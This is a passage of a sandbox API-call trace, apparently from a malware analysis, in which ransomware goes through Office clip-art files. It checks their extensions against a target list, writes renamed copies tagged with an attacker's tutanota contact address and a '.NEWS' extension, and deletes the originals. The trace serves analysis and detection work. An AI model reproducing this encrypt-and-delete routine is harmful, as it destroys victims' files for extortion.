Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".jpg") returned 4 [0089.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.980] lstrlenW (lpString=".doc") returned 4 [0089.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString=".docx") returned 5 [0089.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.981] lstrlenW (lpString=".pdf") returned 4 [0089.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString=".xls") returned 4 [0089.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.981] lstrlenW (lpString=".xlsx") returned 5 [0089.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.981] lstrlenW (lpString=".ppt") returned 4 [0089.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.981] lstrlenW (lpString=".zip") returned 4 [0089.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.981] lstrlenW (lpString=".rar") returned 4 [0089.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString=".bz2") returned 4 [0089.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString=".7z") returned 3 [0089.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.981] lstrlenW (lpString=".dbf") returned 4 [0089.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.981] lstrlenW (lpString=".1cd") returned 4 [0089.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 68 [0089.981] lstrlenW (lpString=".jpg") returned 4 [0089.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.981] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.981] lstrlenW (lpString="IN00557_.WMF") returned 12 [0089.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.982] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=9172) returned 1 [0089.982] CloseHandle (hObject=0x378) returned 1 [0089.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 0x220 [0089.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.982] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.982] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.983] GetLastError () returned 0x0 [0089.983] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x23d4, lpOverlapped=0x0) returned 1 [0089.984] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x23e0, lpOverlapped=0x0) returned 1 [0089.985] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.985] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.985] SetEndOfFile (hFile=0x330) returned 1 [0089.986] CloseHandle (hObject=0x330) returned 1 [0089.986] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.986] SetEndOfFile (hFile=0x378) returned 1 [0089.987] CloseHandle (hObject=0x378) returned 1 [0089.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.987] lstrlenW (lpString=".doc") returned 4 [0089.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.987] lstrlenW (lpString=".docx") returned 5 [0089.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.987] lstrlenW (lpString=".pdf") returned 4 [0089.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.987] lstrlenW (lpString=".xls") returned 4 [0089.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.987] lstrlenW (lpString=".xlsx") returned 5 [0089.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.987] lstrlenW (lpString=".ppt") returned 4 [0089.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.987] lstrlenW (lpString=".zip") returned 4 [0089.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.987] lstrlenW (lpString=".rar") returned 4 [0089.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.987] lstrlenW (lpString=".bz2") returned 4 [0089.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString=".7z") returned 3 [0089.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".dbf") returned 4 [0089.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".1cd") returned 4 [0089.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".jpg") returned 4 [0089.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".doc") returned 4 [0089.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString=".docx") returned 5 [0089.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.988] lstrlenW (lpString=".pdf") returned 4 [0089.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString=".xls") returned 4 [0089.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.988] lstrlenW (lpString=".xlsx") returned 5 [0089.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.988] lstrlenW (lpString=".ppt") returned 4 [0089.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".zip") returned 4 [0089.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.988] lstrlenW (lpString=".rar") returned 4 [0089.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString=".bz2") returned 4 [0089.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.988] lstrlenW (lpString=".7z") returned 3 [0089.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.988] lstrlenW (lpString=".dbf") returned 4 [0089.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.989] lstrlenW (lpString=".1cd") returned 4 [0089.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 68 [0089.989] lstrlenW (lpString=".jpg") returned 4 [0089.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.989] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.989] lstrlenW (lpString="IN00915_.WMF") returned 12 [0089.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.990] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=12748) returned 1 [0089.990] CloseHandle (hObject=0x378) returned 1 [0089.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 0x220 [0089.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.990] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.990] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.991] GetLastError () returned 0x0 [0089.991] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x31cc, lpOverlapped=0x0) returned 1 [0089.992] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x31d0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x31d0, lpOverlapped=0x0) returned 1 [0089.993] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.993] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.993] SetEndOfFile (hFile=0x330) returned 1 [0089.993] CloseHandle (hObject=0x330) returned 1 [0089.994] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.994] SetEndOfFile (hFile=0x378) returned 1 [0089.995] CloseHandle (hObject=0x378) returned 1 [0089.995] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.995] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00915_.wmf")) returned 1 [0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.995] lstrlenW (lpString=".doc") returned 4 [0089.995] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.995] lstrlenW (lpString=".docx") returned 5 [0089.995] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.995] lstrlenW (lpString=".pdf") returned 4 [0089.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.995] lstrlenW (lpString=".xls") returned 4 [0089.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.995] lstrlenW (lpString=".xlsx") returned 5 [0089.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.995] lstrlenW (lpString=".ppt") returned 4 [0089.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.995] lstrlenW (lpString=".zip") returned 4 [0089.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.996] lstrlenW (lpString=".rar") returned 4 [0089.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString=".bz2") returned 4 [0089.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString=".7z") returned 3 [0089.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString=".dbf") returned 4 [0089.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString=".1cd") returned 4 [0089.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString=".jpg") returned 4 [0089.996] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString=".doc") returned 4 [0089.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString=".docx") returned 5 [0089.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.996] lstrlenW (lpString=".pdf") returned 4 [0089.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString=".xls") returned 4 [0089.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.996] lstrlenW (lpString=".xlsx") returned 5 [0089.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.996] lstrlenW (lpString=".ppt") returned 4 [0089.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.996] lstrlenW (lpString=".zip") returned 4 [0089.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.996] lstrlenW (lpString=".rar") returned 4 [0089.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.996] lstrlenW (lpString=".bz2") returned 4 [0089.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.997] lstrlenW (lpString=".7z") returned 3 [0089.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.997] lstrlenW (lpString=".dbf") returned 4 [0089.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.997] lstrlenW (lpString=".1cd") returned 4 [0089.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00915_.WMF") returned 68 [0089.997] lstrlenW (lpString=".jpg") returned 4 [0089.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.997] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.997] lstrlenW (lpString="IN00919_.WMF") returned 12 [0089.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.997] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=6920) returned 1 [0089.997] CloseHandle (hObject=0x378) returned 1 [0089.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0089.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.998] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.998] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.998] GetLastError () returned 0x0 [0089.998] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0089.999] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0090.001] ReadFile (in: hFile=0x378, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0090.001] WriteFile (in: hFile=0x330, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0090.001] SetEndOfFile (hFile=0x330) returned 1 [0090.001] CloseHandle (hObject=0x330) returned 1 [0090.001] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0090.001] SetEndOfFile (hFile=0x378) returned 1 [0090.002] CloseHandle (hObject=0x378) returned 1 [0090.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0090.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0090.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.002] lstrlenW (lpString=".doc") returned 4 [0090.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0090.002] lstrlenW (lpString=".docx") returned 5 [0090.002] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0090.002] lstrlenW (lpString=".pdf") returned 4 [0090.003] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString=".xls") returned 4 [0090.003] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0090.003] lstrlenW (lpString=".xlsx") returned 5 [0090.003] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0090.003] lstrlenW (lpString=".ppt") returned 4 [0090.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] lstrlenW (lpString=".zip") returned 4 [0090.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0090.003] lstrlenW (lpString=".rar") returned 4 [0090.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString=".bz2") returned 4 [0090.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString=".7z") returned 3 [0090.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] lstrlenW (lpString=".dbf") returned 4 [0090.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] lstrlenW (lpString=".1cd") returned 4 [0090.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] lstrlenW (lpString=".jpg") returned 4 [0090.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0090.003] 